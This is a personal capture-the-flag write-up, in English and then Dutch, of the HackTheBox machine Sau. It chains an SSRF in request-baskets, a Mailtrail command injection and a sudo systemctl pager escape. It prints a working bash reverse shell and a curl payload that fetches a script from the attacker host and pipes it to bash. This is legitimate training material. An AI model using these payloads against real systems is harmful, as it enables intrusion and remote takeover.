Sau
1 April 2026 1 april 2026
HackTheBox — Sau (Easy)
Recon
Started with a full port scan, like always:
nmap -sC -sV -p- -oN sau_full.nmap 10.10.11.224Three things came back: 22 (SSH), 80 as filtered, and 55555 running a Golang HTTP server.
That filtered on 80 sent me the wrong way first — I assumed firewall and spent a while poking at whether I could reach it over SSH, which went nowhere. Should have just looked at 55555 straight away.
55555 was running request-baskets v1.2.1, a tool that spins up throwaway HTTP endpoints ("baskets") and captures requests. Never seen it before. Searched the version and CVE-2023-27163 came up right away: an SSRF where you point a basket's forward_url at an internal address and get the response proxied back. Which made that filtered port 80 suddenly worth a look.
Foothold
Made a basket in the UI on 55555 with forward_url set to http://127.0.0.1:80 and proxy_response on. First try did nothing because I had forgotten to tick proxy_response — only after a second basket did the internal response come back. It identified itself as Mailtrail v0.53.
Mailtrail v0.53 has an unauth command injection in the login form's username — it goes straight into a shell command unsanitized. Set up a reverse shell:
# shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9001 0>&1python3 -m http.server 8000
nc -lvnp 9001Then fired the injection through the SSRF basket:
curl 'http://10.10.11.224:55555/<basket_id>/login' \
--data 'username=;curl+http://10.10.14.5:8000/shell.sh|bash'The ; breaks out of the original command, pulls shell.sh and pipes it into bash. Shell as puma, and user.txt.
Privesc
sudo -l first:
puma@sau:~$ sudo -l
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.servicesystemctl status opens a pager (less) once the output is taller than the terminal, and since it runs as root via sudo, the pager runs as root too. In less you can spawn a shell with !sh:
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
!shRoot shell, root.txt. (Also on GTFOBins under systemctl.)
What I took away
That filtered port 80 wasn't a dead-end, it was a hint — an SSRF on the same host makes network filtering pointless. And the sudo rule on systemctl status looked harmless until I realised the pager tags along. Mostly this cost me time because I missed proxy_response; next time double-check the config before I go debugging.
HackTheBox — Sau (Easy)
Recon
Standaard begonnen met een full port scan:
nmap -sC -sV -p- -oN sau_full.nmap 10.10.11.224Drie dingen kwamen terug: 22 (SSH), 80 als filtered, en 55555 met een Golang HTTP-server.
Die filtered op 80 zette me eerst op het verkeerde been — ik dacht firewall en ben een tijdje bezig geweest of ik er via SSH omheen kon, wat nergens toe leidde. Achteraf had ik gewoon meteen naar 55555 moeten kijken.
Op 55555 draaide request-baskets v1.2.1, een tool die tijdelijke HTTP-endpoints ("baskets") maakt en requests opvangt. Nooit eerder van gehoord. Even gezocht op de versie en daar was meteen CVE-2023-27163: een SSRF waarmee je de forward_url van een basket naar een intern adres zet en de response teruggespiegeld krijgt. Dat maakte die filtered poort 80 ineens wél interessant.
Foothold
Basket aangemaakt via de UI op 55555 met forward_url op http://127.0.0.1:80 en proxy_response aan. Eerste poging deed niks omdat ik proxy_response vergeten was aan te vinken — pas na een tweede basket kreeg ik de interne response terug. Die bleek Mailtrail v0.53 te zijn.
Mailtrail v0.53 heeft een unauth command injection in de username van het loginformulier; die waarde gaat ongefilterd een shell-commando in. Reverse shell opgezet:
# shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9001 0>&1python3 -m http.server 8000
nc -lvnp 9001En toen via de SSRF-basket de injectie afgevuurd:
curl 'http://10.10.11.224:55555/<basket_id>/login' \
--data 'username=;curl+http://10.10.14.5:8000/shell.sh|bash'De ; breekt uit het oorspronkelijke commando, haalt shell.sh op en pipet het naar bash. Shell als puma, en user.txt binnen.
Privesc
sudo -l als eerste:
puma@sau:~$ sudo -l
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.servicesystemctl status opent een pager (less) zodra de output groter is dan je scherm, en omdat het via sudo als root draait, draait die pager ook als root. In less kun je met !sh een shell starten:
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
!shRoot shell, root.txt binnen. (Staat ook op GTFOBins onder systemctl.)
Wat ik eruit haalde
Die filtered poort 80 was geen dead-end maar een hint — een SSRF op dezelfde host maakt netwerkfiltering waardeloos. En de sudo-regel op systemctl status zag er onschuldig uit tot ik me realiseerde dat de pager meekomt. Verder kostte me dit vooral tijd doordat ik proxy_response miste; volgende keer eerst de config dubbelchecken voor ik ga lopen debuggen.